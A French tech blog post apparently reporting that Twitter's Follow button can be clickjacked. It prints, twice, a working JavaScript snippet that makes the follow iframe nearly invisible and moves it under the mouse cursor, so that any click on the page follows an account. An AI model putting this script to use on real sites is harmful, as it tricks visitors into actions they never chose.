« 
 »

Le bouton Follow de twitter sujet au clickjacking

Le bouton Follow de twitter sujet au clickjacking

C’est peu de temps après la sortie du nouveau bouton “follow” de twitter qu’un hacker révèle un code permettant de faire s’abonner les visiteurs d’un site à  un compte twitter via un simple clic n’importe où sur la page.

Facebook avec son bouton like est aussi victime de ce genre de “hack” via les boutons cachés devant des vidéos ou liens.
Si vous ne voyez pas trop comment tout cela est possible, alors quelques explications s’impose : un code javascript capture les déplacements de la souris et positionne une iframe transparente en dessous du curseur. Lorsque l’utilisateur clique quelque part sur la page, il clique en fait sur le bouton ce qui va le rajouter en follower du pirate.

Curieux comme vous êtes, je suppose que vous mourez d’envie de voir le code permettant de faire ça, et bien le voici :

if (!document.getElementsByClassName){
        document.getElementsByClassName = function(classname){
                for (i=0; i < document.getElementsByTagName("*").length; i++)
                {
                        if (document.getElementsByTagName("*").item(i).className == classname){
                                return new Array(document.getElementsByTagName("*").item(i));
                        }
                }
        }
}

var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0];
twitterFollowIframe.style.position = 'absolute';
twitterFollowIframe.style.opacity = '0.2';
twitterFollowIframe.style.filter = 'alpha(opacity=20)';

document.onmousemove = function(e){
        if ( !e ) e = window.event;
        twitterFollowIframe.style.left = e.clientX - 20;
        twitterFollowIframe.style.top = e.clientY - 10;
}

 

Si vous souhaitez voir un exemple en ligne le hacker l’a mit à  disposition sur ce lien.
Merci à  Didinouche pour l’info.

 

[via Korben, serphacker, presse-citron]

 

if (!document.getElementsByClassName){
        document.getElementsByClassName = function(classname){
                for (i=0; i < document.getElementsByTagName("*").length; i++)
                {
                        if (document.getElementsByTagName("*").item(i).className == classname){
                                return new Array(document.getElementsByTagName("*").item(i));
                        }
                }
        }
}

var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0];
twitterFollowIframe.style.position = 'absolute';
twitterFollowIframe.style.opacity = '0.2';
twitterFollowIframe.style.filter = 'alpha(opacity=20)';

document.onmousemove = function(e){
        if ( !e ) e = window.event;
        twitterFollowIframe.style.left = e.clientX - 20;
        twitterFollowIframe.style.top = e.clientY - 10;
}

A propos de l'auteur :

Passionné depuis toujours d'informatique au sens large, je m'intéresse í  tous les domaines allant de la programmation jusqu'au hardware. J'essaye de faire partager ma passion de ce domaine en rédigeant des articles traitant de l'actualité des jeux vidéos jusqu'aux nouveautés du web.

Laisser un commentaire

*

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.

Suivez nous sur Twitter Devenez fan de Place4Geek Suivez nous sur Google+ Abonnez-vous à la chaîne Place4Geek Abonnez-vous à notre flux RSS